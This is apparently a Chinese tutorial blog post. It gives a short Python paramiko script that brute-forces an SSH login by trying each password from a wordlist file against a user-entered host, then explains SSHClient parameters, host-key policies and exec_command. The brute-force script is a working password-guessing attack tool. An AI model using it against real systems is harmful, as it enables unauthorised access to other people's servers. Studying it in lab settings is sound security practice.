先上代码:
python
1. import paramiko
2. import socket
3. target = input('请输入你的主机:')
4. with open('Demo.txt', 'r') as f: #
5. for i in f.readlines():
6. password = i.strip() # 删除字符串尾部的默认'\n'或者空格
7. client = paramiko.SSHClient() # 实例化SSHClient
8. client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
9. # 自动添加策略,保存要访问的服务器主机名和密钥到本机的HostKeys对象中,如果不添加,那么不在本地Know_hosts
10. # 文件中记录的主机将无法连接。
11. try:
12. client.connect(hostname=target,username='kali',password=password,timeout=2)
13. client.close()
14. print('连接成功:%s' %password)
15. break
16. except paramiko.ssh_exception.AuthenticationException: # 抛出身份验证异常时,要输出错误
17. print(f'连接失败:{password}')
18. except socket.timeout: # 抛出连接超时的异常
19. print('SSH 无法访问')
20. break
运行结果如下:

这个python代码使用了paramiko和socket包
paramiko核心组件SSHClient常用的方法:
1.connect():实现远程服务器的连接和认证,对于该方法只有hostname时必传参数
SSHClient常用参数:
hostname 连接的目标主机
port=SSH_PORT 指定端口
username=None 登录主机的用户名
password=None 用户密码
pkey=None 私钥用于身份验证
key_filename=None 一个文件名或文件列表,指定私钥文件
timeout=None 可选的tcp超时时间
allow_agent=True 是否允许连接到ssh代理,默认为True 允许
look_for_keys=True 是否在~/.ssh中搜索私钥文件,默认为True 允许
compress=False是否打开压缩
2.set_missing_host_key_policy():设置远程服务器没有在know_hosts文件中记录时的应对策略。目前支持三种策略:
设置连接的远程主机没有本地主机密钥或HostKeys对象时的策略,目前支持三种:
AutoAddPolicy 自动添加要访问服务器主机名及密钥到本机的本地HostKeys对象,不依赖load_system_host_key的配置。即新建立ssh连接时不需要再输入yes或no进行确认
WarningPolicy 用于记录一个未知的主机密钥的python警告。并接受,功能上和AutoAddPolicy类似,但是会提示是新连接
RejectPolicy 自动拒绝未知的主机名和密钥,依赖load_system_host_key的配置。此为默认选项
3.exec_command():
在远程服务器执行Linux命令的方法。
SSHClient常用方法:
实例化SSHClient
client = paramiko.SSHClient()
自动添加策略,保存服务器的主机名和密钥信息,若不添加,则不在本地know_hosts文件中记录的主机将无法连接 client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
连接SSH服务端,以用户名和密码进行认证
client.connect(hostname='192.168.1.105', port=22, username='root', password='123456')
打开一个Channel并执行命令
stdin, stdout, stderr = client.exec_command('df -h ') # stdout 为正确输出,stderr为错误输出,同时是有1个变量有值
打印执行结果
print(stdout.read().decode('utf-8'))
关闭SSHClient
client.close()
浙公网安备 33010602011771号